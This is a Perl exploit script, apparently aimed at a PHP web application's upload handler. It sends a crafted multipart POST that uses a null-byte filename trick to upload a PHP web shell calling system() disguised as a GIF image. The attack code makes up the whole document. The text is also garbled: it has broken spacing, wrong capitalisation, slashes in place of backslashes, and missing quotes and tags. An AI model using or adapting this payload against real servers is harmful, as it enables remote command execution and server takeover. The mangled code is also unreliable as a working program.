#! / usr / bin / perl
$ | = 1;
Use socket;
$ Host = "127.0.0.1";
$ port = "80";
$ UPLOADTO = ""
$ Str =
"-------------------------- 7D41F4A600472 / R / N".
"Content-Disposition: form-data; name = /" path / "/ r / n".
"/ r / n".
"www.ppp% 00 / r / n".
"-------------------------- 7D41F4A600472 / R / N".
"Content-Disposition: Form-data; Name = /" image / "; filename = /" f: //tools/1.gif/ "/ r / n".
"Content-Type: TEXT / PLAIN / R / N".
"/ r / n".
" php / r / n".
"SYSTEM ($ C); / R / N".
"?> / r / n.
"-------------------------- 7D41F4A600472 - / R / N".
"/ r / n";
Print $ STR;
$ LEN = Length ($ STR);
Print $ LEN;
$ REQ = "post / 1/1/3721/index.php?action=upload http / 1.1 / r / n".
"Accept: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, application / msword, application / x-shockwave-flash, * / * / r / n".
"REFERER: http://127.0.0.1/index.php?path=./r/N".
"Accept-language: zh-cn / r / n".
"Content-Type: Multipart / Form-Data; Boundary = ------------------------ 7D41F4A600472 / R / N".
"Accept-encoding: gzip, deflate / r / n".
"User-agent: mozilla / 4.0 (compatible; msie 6.0; windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322) / R / N".
"Host: 127.0.0.1/r/N".
"Content-Length: $ LEN / R / N".
"Connection: Keep-alive / R / N".
"Cache-Control: No-cache / R / N".
"Cookie: phpsessid = 11111111111111111111/ r / n".
"/ r / n".
"$ STR / R / N / R / N";
Print $ Req;
@res = sendraw ($ REQ);
PRINT @res;
#Hmm ... Maybe you can send it by other way
SUB Sendraw {
MY ($ REQ) = @_;
MY $ target;
$ target = inet_aton ($ host) || DIE ("inet_aton problems / n"); socket (s, pf_inet, sock_stream, getprotobyname ('tcp') || 0) || DIE ("socket problems / n");
IF (Connect (S, Pack "SNA4x8", 2, $ Port, $ Target) {
SELECT (s);
$ | = 1;
Print $ Req;
My @res = ;
SELECT (STDOUT);
Close (s);
Return @res;
}
Else {
DIE ("Can't Connect ... / N");
}
}